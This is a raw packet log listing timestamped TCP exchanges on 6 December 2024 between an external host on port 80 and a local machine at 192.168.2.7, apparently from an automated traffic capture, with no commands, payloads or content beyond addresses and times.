Dec 6, 2024 22:08:50.242904902 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.242949009 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.243124962 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.243176937 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.244590044 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.244657993 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.244796038 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.244841099 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.246213913 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.246263027 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.246432066 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.246473074 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.247865915 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.247912884 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.248188972 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.248238087 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.249475002 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.249521971 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.249694109 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.249738932 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.251131058 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.251178026 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.251375914 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.251422882 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.252753019 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.252803087 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.252964973 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.253010988 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.254355907 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.254404068 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.254561901 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.254606009 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.255940914 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.255989075 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.256158113 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.256202936 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.257594109 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.257641077 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.257821083 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.257865906 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.259135962 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.259185076 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.259352922 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.259397984 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.260757923 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.260812044 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.260953903 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.261002064 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.262376070 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.262434006 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.262593985 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.262639999 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.263947964 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.264003038 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.264224052 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.264276981 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.265551090 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.265635014 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.265793085 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.265839100 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.267146111 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.267199039 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.267752886 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.267800093 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.268768072 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.268815994 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.268996000 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.269042015 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.270329952 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.270382881 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.270610094 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.270661116 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.271966934 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.272017002 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.272197962 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.272241116 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.273569107 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.273631096 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.273807049 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.273857117 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.275187016 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.275237083 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.275470972 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.275517941 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.276797056 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.276863098 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.277000904 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.277054071 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.278372049 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.278419018 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.278584957 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.278630972 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.279964924 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.280019999 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.280173063 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.280220985 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.281579971 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.281629086 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.281800032 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.281842947 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.283200026 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.283252001 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.283442020 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.283488035 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.284787893 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.284848928 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.285022974 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.285067081 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.286396027 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.286444902 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.286611080 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.286657095 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.288000107 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.288067102 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.288243055 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.288292885 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.289609909 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.289660931 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.289844036 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.289890051 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.291199923 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.291249037 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.291429996 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.291476965 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.292794943 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.292843103 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.293154955 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.293199062 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.294419050 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.294466972 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.294641972 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.294688940 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.296020031 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.296067953 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.296225071 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.296272039 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.297637939 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.297683001 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.297841072 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.297888994 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.299215078 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.299263954 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.299443960 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.299489975 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.300832987 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.300882101 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.301135063 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.301186085 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.302429914 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.302478075 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.362451077 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.362540960 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.362675905 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.362723112 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.363238096 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.363291025 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.363590956 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.363636971 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.364846945 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.364911079 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.365092039 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.365137100 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.366457939 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.366516113 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.366681099 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.366717100 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.368114948 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.368161917 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.368345976 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.368391991 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.369672060 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.369733095 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.369905949 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.369961023 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.371279001 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.371340036 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.371498108 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.371550083 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.411600113 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.411613941 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.411672115 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.411689043 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.412153959 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.412209988 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.412792921 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.412921906 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.413563013 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.413606882 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.413748980 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.413785934 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.414998055 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.415045023 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.415148973 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.415194035 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.416280031 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.416332960 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.416409016 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.416419983 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.416429996 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.416450024 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.416469097 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.417087078 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.417138100 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.417288065 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.417332888 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.418004990 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.418051004 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.418219090 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.418256998 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.418875933 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.418920994 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.419087887 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.419142008 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.419775963 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.419933081 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.419976950 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.420057058 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.420655966 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.420701027 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.420876980 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.420917034 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.421554089 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.421606064 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.421758890 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.421868086 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.422421932 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.422528982 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.422688961 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.422792912 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.423317909 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.423516989 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.423542023 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.423593998 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.424254894 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.424334049 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.424452066 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.424496889 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.425088882 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.425142050 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.425394058 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.425443888 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.425990105 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.426045895 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.426194906 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.426244974 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.426805973 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.426860094 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.427057981 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.427109003 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.427699089 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.427756071 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.427953959 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.428005934 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.428567886 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.428627968 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.428834915 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.428885937 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.433242083 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.433254004 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.433263063 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.433274031 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.433290005 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.433300972 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.433317900 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.433360100 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.433362007 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.433407068 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.433876038 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.433933973 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.434482098 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.434520006 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.434814930 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.434865952 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.435589075 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.435632944 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.435931921 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.435966969 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.436409950 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.436454058 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.436609030 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.436655045 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.437268019 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.437309027 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.437453985 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.437493086 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.438216925 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.438261032 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.438409090 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.438448906 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.438905954 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.438947916 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.439240932 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.439275980 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.439888000 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.439930916 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.440068007 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.440105915 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.440700054 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.440747023 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.440886021 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.440927982 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.441525936 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.441571951 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.441689014 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.441725016 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.442502022 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.442550898 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.442686081 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.442723989 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.443337917 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.443382025 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.443507910 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.443552971 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.444334030 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.444386005 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.444505930 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.444550991 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.445153952 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.445197105 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.445642948 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.445688009 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.446129084 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.446180105 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.446315050 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.446362019 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.446949005 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.446990967 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.447112083 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.447154045 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.448101044 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.448147058 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.448288918 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.448333025 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.448925972 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.448971987 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.449088097 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.449126959 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.449733973 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.449774981 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.450098038 CET	80	49789	185.215.113.206	192.168.2.7
